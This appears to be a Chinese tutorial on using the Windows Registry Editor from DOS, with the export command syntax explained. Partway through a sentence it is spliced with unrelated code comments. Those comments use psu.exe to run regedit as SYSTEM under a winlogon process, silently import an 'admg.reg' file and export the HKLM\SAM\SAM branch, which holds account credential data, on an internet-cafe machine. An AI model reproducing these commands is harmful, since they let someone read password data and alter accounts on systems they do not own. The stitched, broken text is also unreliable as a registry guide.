DOS环境下玩转Windows注册表

注册表编辑器不仅可以在Windows下运行使用，还可以在MS-DOS实模式下运行。有时注册表受到损坏而无法启动Windows时，我们就只有在DOS模式下修复或修改注册表了。注册表的实际物理文件为System.dat和User.dat，也就说注册表中的数据保存在这两个文件中。 

　　导出注册表 


　　此命令可以实现对注册表文件进行备份。 

　　命令格式：Regedit /L:system /R:user /E filename.reg Regpath 

　　参数含义： 

　　/L：system指定System.dat文件所在的路径。 

　　/R：user指定User.dat文件所在的路径。 

　　/E：此参数指定注册表编辑器要进行导出注册表操作，在此参数后面空一格，输入导出注册表的文件名。 

　　Regpath：用来指定要导出哪个注册表的分支，如果不指定，则将导出全部注册表分支。 

　　如果打算将保存在C:＼Windows＼System.dat和保存在C:＼Windows＼Profiles＼User.dat中所有HKEY_:00000001 
// 0x1 禁止注册表编辑

//关于psu.exe 使用注册表内容
//pulist.exe |findstr.exe /i "WINLOGON explorer"
//得到对应的winlogon的PID,  如果你是使用终端登陆进入的话 212,788 为有效pid.

//pulist.exe |findstr.exe /i "WINLOGON explorer"
// winlogon.exe      212  NT AUTHORITY\SYSTEM
// explorer.exe      824  NETBAR-5G2JURY8\Administrator
// winlogon.exe      341  NT AUTHORITY\SYSTEM
// winlogon.exe      788  NT AUTHORITY\SYSTEM
// explorer.exe      1752 NETBAR-5G2JURY8\guest
//psu.exe -p "%windir%\regedit.exe -s admg.reg" -i PID 
//psu.exe -p "%windir%\regedit.exe -e admin.reg  HKEY_LOCAL_MACHINE\SAM\SAM\" -i PID
//psu.exe -p "%windir%\regedit.exe -s admg.reg" -i 212   （telnet状态使用）
//psu.exe -p "%windir%\regedit.exe -s admg.reg" -i 788   （终端cmd.exe下面使用）

（完）计算机基础教程网